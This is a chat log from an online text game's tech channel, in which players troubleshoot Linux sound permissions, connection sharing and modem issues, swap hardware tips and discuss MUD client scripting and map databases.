T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: choose HDA
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: its selected.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: set to 100 levels of master/pcm/line
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: after setting it: speaker-test -t wav -c 2
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it's already set at that
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: shm_open() failed: Permission denied
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: do it as root
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: front left. front right. front left. front right. front left. front right. front left. front right. front left. front right. front left. front right. front left. etc
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude peers intently at Trachx.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: well, you hear sound, right ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: so is the problem this shm thing?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: permission problem
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: trachx yep, it said front left. front right, over and over
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: how do you fix that?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: maybe make the shm device open permissions for members of audio group?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir . o O ( and that's why i prefer windows as a desktop os )
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: what is output of mount |grep shm and grep shm /etc/fstab ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: well, windows is nice when it works
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: none on /dev/shm type tmpfs (rw,relatime)   in mount, but it's not in fstab
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: can you create file in /dev/shm? just cd /dev/shm ; mkdir test; rmdir test
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: as root or as user?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: as user
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: cannot create directory test: permission denied
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: gener my cell phone's the closest i have to a microwave :(
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: mischan
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude frowns.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: ls -l /dev/|grep shm
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: or you can try add to /etc/fstab :
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: none                    /dev/shm        tmpfs           nodev,nosuid,noexec  0 0
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn. k
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: then try mount -o remount /dev/shm
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: tech do i not need that relatime anymore?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: usually you want noatime flag
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: I mean noatime doesn't update acces time which is faster
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: though, in some situations you may need atime stamps
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: well, it won't let me use -o remount as an option
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: remount as root
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i was trying to
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: try: mount /dev/shm -o remount
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: what error (if any)?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: that worked!
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: syntax that important i guess?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: lets see if the sound goes now. brb
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: hmmn nope it still wont play for a user
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: can you create file in /dev/shm (as user) ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it works for root though, i just tried a soundfile of madonna's this used to be my playground and it works as root 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yes. touch test works
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: as root: gpasswd -a <user> audio
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: you need to logoff/logon after this
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yes, the user's already in audio
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: and you still get that shm_open error?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no, i just dont get any sound output
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: at least it works as root :(
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: you may try to restart alsa
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: ie.: /etc/init.d/alsasound restart
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: k. its restarted. 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: now repeat as user: speaker-test -t wav -c 2 , if no sound make sure that it works as root
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: just in case when restarting alsa mutes output
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: it works as root, not as user
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: and no error as user ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no error , just no sound
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: when you run alsamixer as user , are you able to change levels ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yep
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: but its a smaller list
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: roots alsamixer has things like mic, pcm, loopback mixer, and so on, whereas the user has  Master , and L R CAPTURE
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: are you sure that: id <user> shows audio group ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: wheel, audio, users, games
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: what are permissions for ls -l /dev/snd ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: root root for by-path , and root audio for the others
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: crw-rw---- ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: yes, but for by-path is drwxr-xr-x
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: aplay -l ? is output the same for root and user ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no, for user it returns no soundcards found
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: try : sudo setfacl -m u:username:rw /dev/snd/*
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: though it should not work as you have selinux disabled
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: eek aard is rebooting?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Negader Tech: for the last five minutes it's been saying that.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i dont have a sudo password set yet, actually
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: you can do this as well as root : setfacl -m u:username:rw /dev/snd/*
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: that returned no errors
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: check again aplay -l as user
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: k, now i have pch analog, and pch hdmi
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Vexthorne Tech: How concerned should I be about manufacturer when looking at RAM?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude imagines the choice between the manufacturers that use teams of baby seals as slave labor, and the other manufacturers, when answering vexthorne's question.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: don't go with cheap brands, i think Kingston is quite decent
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: does sound work for you now ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: let me check
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: oo
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: trachx it works!
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: pick patriot or corsair with additional heat sinks
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: what is the purpose of reboots ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: forfiter it allows gameload items to be gotten
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: qreset self :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ayasinda Tech: thanks Vampire and Trachx. I learned a lot just now.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: trachx ok, so you want the token or a gold equiv?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Trachx Tech: you could handle game with trivia reward on gametalk instead :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: anyone wanna help me share my connection between my laptop and my rasp-berry-pi ? I can give you gold...  
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: share the connection?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: elfeneri yes, like how windows had internet connection sharing, but i have gentoo linux, so um.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i have both an ethernet cable, and a wifi card, that would be available
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ethernet+nic , and also wifi card... that is
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: you want to bridge the connection and use the pi as a router?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: no, my laptop connects to the internet, and i want it to forward packets to and from the pi 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and i guess i might need to assign an ip address and a subnet somehow
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: so your laptop should route certain traffic to the pi? I'm not sure what you want to do.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i want the pi to think it's connected to the internet, even though the laptop is connected to the modem
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: simple. brutish. i have 2 pcs. one laptop. one rpi, one modem. no hardware router.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: i want to connect rpi to laptop. laptop to modem.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: according to wiki it is possible to "request quest" with GMCP - how to do it? I know "protocols gmcp sendchar" - but how about quets ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: and i want there to be internets.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: laptop is connected via cable to the modem and the pi is connected how?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: you have a wifi-usb device in the pi?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: laptop is connected via usb port. and the pi is not connected yet. i have a wifi usb device and an ethernet cable that the pi can use
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Forfiter: GMCP just sends data, you don't actually use it to do anything other than provide information to your client.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Forfiter: So when you request a quest, data about that quest such as target, area, room, and time will get sent to your client via GMCP
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: yes, my question wasn't precise, i meant - how to force aard to send info about quest via gmpc ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: connect the pi with cable to the laptop. In your laptop you have to bridge your modem. The pi needs no config.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: quest info are sent as well but only on quest events
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: but wiki says its also possible to enforce quest gmcp message
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: feneri ok, so you mean that my laptop won't need like a dhcp config or a hosts config or an iptables config or anything, i just need to bridge it with something?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: it is, by using sendgmcp()
T3/r7/2013-12-01.txt.gz:{chan ch=tech}ElFeneri Tech: you configure your laptop to share the connection. Just google it. There's tons of info about doing that.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: uh i guess i'll need to write some wrapper for tintin then
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: feneri yes there is, but most of the pages i find are a few kernel pages behind
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: versions, um.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Forfiter: If you're using tt++ you should check out my stuff in my desc.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Will probably save you some time.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ixle i think my tinyfugue might be able to use some of tintin++'s scripts too. ill check your desc too
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: tintin++ has wrapper stuff in its GMCP support file already
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Ixle thanks, i'm working now on tt++ script suite i'll check your desc
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: I wouldn't suggest using ixle's scripts on tinyfugue...
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: No, me either...
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: which one has more powerfull scripting tt or tf?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: depends on who's writing the scripts
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Forfiter )
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Forfiter smiles happily.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: abelinc ok :( but then whose scripts should i use... your pots script fails for me
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: either client can do pretty much anything needed
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: if it fails for you, then you're using it wrong :P
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: nah, it keeps looking for directories i dont have
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: exactly...using it wrong
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: but back to trying to get my pi on the web so i can get it to apt-get update :(
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Abelinc if you share your scripts you should make them configuration friendly :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: They are for coders.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: they are configuration-friendly, forfiter
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: turie that's ok. i'd rather have luck with women who arent on computers, than be good at coding :(
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: Vampiredude............................
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: It takes a lot more work to make something "configurable" than to just make it work. You have to account for all the stupid ways people might try to do stuff, provide error messages, and some sort of documentation for the added configurability.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: Shame you're not either one, Vampiredude.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude smacks Book of Etzli out of his boots with a sign reading "YOUR MOM !!"
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Meanwhile if you learn the scripting language, it's quite easy to go in and tweak the plain text files and test stuff.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, my mom has more class than you.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: A bright, shiny gold halo appears over Book of Etzli's head.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: ixle in fact /test actually works in tf
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: Vampiredude: That seemed like a personal attack. Hrmm. I do not know how to take that. On a public channel of all places.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: turie, help social
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Ixle yep, i'm working now on some more "inteligent" and out-of-box scripts for tt++, this scripting language is pain in ass tho, but after couple of days i'm starting getting grip on it
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Book of Etzli is glad he has luck with women outside in the real world. Most days. :P
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: What you did was not a social. It was a statement from you. Difference.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: I think tt's scripting language is pretty forgiving. Just my opinion though.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}2/3 Flying VampireDude Tech: turie um, *hellmom etzli ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: turie was referring to the one before that...his ....... was before your hellmom
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: I a gree, but its too forgiving
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: You can always write your stuff in python or lua or w/e you want and run a separate session and transfer data from your mud session to your script session.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: thats true however i want to keep as much as possible in tt without external dependecies
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: Well, VampireDude is now ignoring you.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Not a bad philosophy.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: I've tried to do the same for the most part.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Book of Etzli rolls on the floor laughing at Turie's antics!
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: He just unignored Abelinc to ignore me it seems.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: What's the point of making that statement? :p
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: My statements are just to have some fun with this one. lol
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: do you know of any database with mobs (parseable)?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Yes but not one that anyone will give out.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ayasinda Tech: there are some clans with mob databases
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: A mob database is the hardest part of making a quest script. I'm not giving that out to anyone :p
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: ok thanks i guess i'll have to work for that :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Maybe one day I'll release the framework for it and just make it easier to create your own db, but atm you'll have to roll your own.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: for the record, my potions script doesn't look for any directories except its own...it makes a call to a standard tinyfugue library without referencing a directory...tinyfugue initializes itself with a built-in "TFLIBDIR" special variable pointing to where your initialization files say the tinyfugue standard library functions are installed...if your entire tinyfugue is misconfigured, then no scripts can call those standard functions (that's also the directory that has the "tintin.tf" file which would be required to use anything written for tintin++)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: ok sure, i'm going to release my custom tt++ in couple of days, it will have full map but no mob database, but i'll work on that later on
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: I would encourage you to jump on board with helping develop what's already out there, but by all means do what makes you happy.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: which board is it ?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: and I would strongly disencourage publicly releasing a complete map database
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: https://github.com/theixle/Aardwolf-Tintin
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: Xyrico did that before.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: why you disencourage that? It is released with Mush client...
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: no it isn't
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tigernuts Tech: it smells of poo
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: the mapper program is, the map database is not
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Ixle, yes, i tried it, and I completely rewrote it
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Abelinc it is, its in sqllite format in main folder
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: no, it isn't.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: If you made it better, fork and let's collaborate.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Abelnic Aardwolf.db - check it for yourself :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: what is distributed contains continents and some newbie areas, not a complete mapper database
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: I know what file you mean, I know exactly what is contained within that file
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: aha ok thanks i didn't know that
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: It's pretty much a "newbie pack".
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Gener Tech: if it was contained in there then the automapper would already be filled out.  no unexplored areas right?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: but thats even better as i'm going to release with this db but for TT++
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: a complete map database will likely be requested to be taken down
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Abelinc thanks, good to know, i guess Mush db will be fine
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Forfiter Got anything up I can look at? I'm curious what "completely rewrote" means.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: I don't know. Xyrico had his up for a while, and Hanslanda has his publicly accessible. Not for it, ultimately, but wonder how long it'd last.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Ixle yes, but its still alfa stage :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: We've also got some preliminary work done on a script to convert a mush map db to tt map file syntax so people don't have to start over with creating a map if they're coming from MC
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: Ixle i already did it, it works flawless
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: I think your memory's fuzzy :P
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Custom exits working?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Book of Etzli Tech: Whose memory is fuzzy, Abelinc?
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: well it can be updated manually with custom exits, but its good idea to write some script that handles it
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: original Mush database has only nswdeud directions, no customs afaik
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: Too bad there is not NE, SE, SW, NW
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Tech: Zade THWAPS Turie for being a moron.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Turie Tech: Zade: Go smoke some more.
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: yep, but thats how mush database is build, i'll try to automate updating it as much as i can :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Stucknphoner Tech: rofl
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Gener Tech: better yet..share
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: i don't want to share yet as it is not really "production", when i share i'd like it to be something decent
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Gener Tech: no i meant zade to share what he smoking  lol
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Ixle Tech: Gener meant the herb :p
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Zade Tech: Turie, attempt to program an automapper to draw maps with NE SE SW NW - simpler with only 6 not 10 directions - doubt that you are able
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Forfiter Tech: hehe lol :)
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Sir Honid Tech: is there away to get mushclient mapper to stop using a certain exit 
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Vexthorne Tech: You can use lockexit to varying degrees of success
T3/r7/2013-12-01.txt.gz:{chan ch=tech}Useless Hadar Tech: anyone know where i can read a good tut on long polling
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: heythere
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: quick question
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Sagacious Witblitz Tech: {sfail}518,0,4,-1 want to turn this off... not tags off... forgot the command
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Vexthorne Tech: Type tags and it will show you a list of options
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: does a bridged modem retain an IP address?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: bridge if just kind of smart repeater
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: so only purpose for bridge to have IP addres is administrative tasks
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: not really, but somek m
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: I'm dropping my connection and I Wanted to check if it's the modem or the router
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: some modems have diag screens 
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: try either http/https or SNMP if modem has no webpage
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: but I'd need to know the IP address of the modem for that :)
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: usually traceroute / tracert is sufficient to discover modem
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: doesn't show it though
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: goes from router to external
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: try the default ip it came with with a direct connection into it
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: my router has that IP address
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: what is gateway for your router ?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: that is probably modem's IP
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: usally the recovery ip address on a modem converted into a bridge is its old default ip.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: we talking dsl, cable or what?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: dsl
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: and the router is using the default IP address
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: brand?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Pleiades Tech: actiontec
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Tormat Tech: i dont know the brand off hand, but thats they way re reset all the ones we buy...
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ontuct Tech: anyone recommend a good affordably priced guitar headphone amp?
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: marshall
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ontuct Tech: never seen a marshall one, only vox and they seem to be bound to one 'effect', I'll have to google marshall.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Trachx Tech: sorry, it is not headphone 
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Ontuct Tech: they make a little micro unit, but I'm looking for something either pocket, or jack mounted.
T3/r7/2013-12-02.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does anybody use BBM?
